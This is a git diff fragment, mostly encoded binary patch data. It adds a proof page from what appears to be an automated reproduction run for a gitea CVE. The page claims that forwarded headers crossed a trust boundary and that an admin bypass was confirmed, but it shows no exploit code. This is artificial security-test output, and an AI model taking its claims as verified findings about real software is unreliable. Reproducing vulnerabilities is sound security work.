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 literal 0 HcmV?d00001 diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html new file mode 100644 index 00000000..59a3bc2b --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html @@ -0,0 +1,26 @@ + + + + Gitea Proxy Boundary Fixture - proof + + + +
    +

    Gitea Proxy Boundary Fixture

    +

    Forwarded header trust boundary and admin gate fixture.

    +
    Proof active: trusted forwarded headers crossed the boundary
    +

    System: gitea / Family: proxy-boundary

    +
    Admin boundary bypass confirmed.
    + + + + +
    + + \ No newline at end of file diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png new file mode 100644 index 0000000000000000000000000000000000000000..c5abfac3c2cb987cddd973c917737f861ebce7da GIT binary patch literal 36925 zcmd?RRa{hW_%DhGDh4P>mx^?ZbcZ0_-Jo%+BI;?0j?VF^iK-MKlgV&5XWIc7h=d3$sG!14G4 z_*E>d`v2da;NRLgIXT(ZHrhKnIojJcIyyLbGtgL9G+AP&-afv*KEB>Q-oAc5r`~?7 zKLYOkIO*oB*L*4~D{gA)3?Vr6+dW$1c2-q2omIUV%YVn^<>l2VWJ0Wp#W~X`pXc)O zva?B(|KUX)HdAQI&Cs7&*;+0UGHwUgl+8B!FYoM>-Hh-xq`SL&GgnYL+~NA)w(+d0 zme)b=FTU6~Y-+dn?%^~;OKUB{w6jgx;M@<_!kM(<-ah{B5tOE>O(G&sSIKVajhVHE z?W`QHt$h}Tq0#@{OhD(@@eoEA@e$ zdUGeejs9ojKRHta=?Q)h&|#O;)cp=QU;OEKv%vcE8IPSC+9HZ2z_8U5@zxK4M}{^w zKE3(Tq{b!@akL*LuP+a-kQCM^wV!M|KO~F!=Aw~Ju-$GkmRovW_kNt2Svqd5Y;63W zVG;u4#RySkWySTC#2O{Fr=)aN-S)Z*zQtscNyCRi-9Pw(RRZBdd77B~w}vHl`EcF} z|L?OYg$-GL-28yqcPzio?FwwsxjEf4GjrBkW{enE+UXCrBx=Iv!BRVt^~3Cx;7;}u3D z%fp2lECKKkqPFCelt6Sq$k`szclBI@6_u?KK0!Ath<5#alizW|zqd|KnOxGYguGZ- z_d1Pk!IFoabxZZ8nhfC*Yy8oR9dYa?0@nRM&>tteO5K)~$g88CY`%EP5-+Ys5L?Rc zWYlE0G+$|{z!D%n@me*NM}DmInnPbiby@fI(N_56?hcR7asu_G4_S@l3Co&LR4hdbu)(5g0i{U;9d& z3)rU43sK`8A8(J~1?*Q#$k{ zUtp?UyNVm$M?NVh`*&(_J0`V(kuw?(5%Jv+Y`Cs zxl2HUc3&!5gI!!)EJD|-Qzj3w2d#ep;p~hGaiG-)@#IwqRygha`npEm``25!o2~dX zTxM&7#0F_#*>>UYejnJD3dU#BsV*NyTZS}e-?<97r;`paQ_l(2!<}K8Ri2;2NI7sZ)+@cD^KBt< zF9OrfIJMV*9G}Oevq6@Er6Zp*%SJj>Ec`}8&yR9G%ZmH@KkTW=n@N5KyU?pJ*VjvK z_B(#pw=GIQBc=gMrB_TMh3E)CgWT8K$y8LHA2L_PHA|RSTd$lSZ|_W0iH}dn$G&t) zWFxnfHmZHU)}7*J=duG{I)V%iIbO{CG5pPX}GaZ%8?=L*L!Yg z{jYN|UpbAz5Y_FqGlfB$!@a)uoglr+Rb!@l#fmLt%0K5L+SeYrUfcMGTkTpn} zC)|%eJn>}KVBkkPZ_UxQODZ%MJ(rT{&JZ?sL{(OHW{LNe8vBhzJ)#`7AK7zzeX_Sy zJYqkb5X4)Y)D}T0i&twI&lioqg{gKPGr;>^X4M@(M4uRKZa+L)hW1YCL^5$18@d^ik4b3DdRj5)wvM)SYJ;*Z=weSQ-+g!cQaahF8hZ@qINeh`!ry5;1EN++){a7VPmdGm*bX=N)sy>e&7KbjXvEYhF;G} zW&iAi7@Wt11_*mjSD4rAxycEbHgE4wyf85_nW$XROe5{i%BN|t>{?o6(15|cVwh#b@2zA}oyD5s))57&_(G{IP%J_VL{W${Oi zvYi(i*B`u^zD}uHVNlLQ+3ac@dJL?FkJ=1;OTA{4{L-h-Bl+c?9p%EuKVqem8kk$e zF}ZI{>dagY?Xzl1YsL1E6Z&;+YE3u|azgu88q7ci3t^A`e zJ8=Kr6FQr&=ceeX*p>+Ep{doom;#S|`mmL{+Ik%5MflT)?cp?HRtK*Zc2trD4yQ3* zlRq|w3v+OFpSM3<)cZW@(cU}VmnEKL?1@nRi2YL}Sz-OHhTzy)-TQ&zxu_jWM|0}w zwJw$h|22hd8nhQ4lPSbx?3zZ*q8k*-Ho_OKOLd5?q$8<2he_&pn>al{e)Qa)VuIeW zgM`?eRt9pI!rg5nsk=P3QY|^t&6u9A4m4H0DT{W3tgNrIRGA_>b!Dl-;Z<(%fbgL* z@4dysQSC^Hkz!re)wh)VrSL;KBA>q!0_pKj2=$fQhH{ZR6UAAC@5dD{Q=-U)r@U=d zQ@B)M<&&hcQ54pWj)ltQyZ>$@6xK?S6%`fup0Oot2((gc>q-RUL38Kp+voU{e6Q5b zw6P

    6KG0x|TiGTV}AZemK9uk{PF0Ow_YS`yHFugi^*as?u^<nRdesa4MyO);`+X|Ebr4CY#XKp8iQSYGS)znDC;FrQGs5n(gEglq2EU_{*ss`2 z?-#DX4U;&)WAj6GOO0N0%3C#?w|lnLByp3t|Iyfi9;{XzRXEfQzHUxnH{?T{9;8%d zW@dImy!Mw71LkOv-*Q&(e}DaHS4CATAG_F?fWs^S?(@X+^xhf2kp6)n!yjR-@Qk>dH;{KqKn!zI`Fx`hI=E z4XGTqto%(-$ZodYWnuJ>x;ezC@g{Q!A?=s@vSg>#%Igwc1uvOdC9*o8x#}lSmEmPRR{S zjcl38C8IJ;@z#(ceX~gugPlquM8RTkPkXu^i9KCdtdyc*un)?MmiHsoZV%y0U8H0+ z6;)x+Wa&4za>@F#&uc?wOiVMwiI?dgn^=TX@;m9HB=HO1lxkHdndE9d4<%-wLfS*N zB&2pSjU$@9H%~%Z!;+|lVO)->JjM;~(JW4KxvP^)vl6+O3b!$kUl-cKF8jo{swKZs z(VeW!dP2|fANrUPLmLn-oFC{L8~=w3NKYqZP_JN3aby^c< zcG59BRqqkZ^E;ASQP|6XbIK4FJo$KaRlfG#L9tTiuO4r1@AISS@9O3RR3Z+}&ZdoT z2857B#j 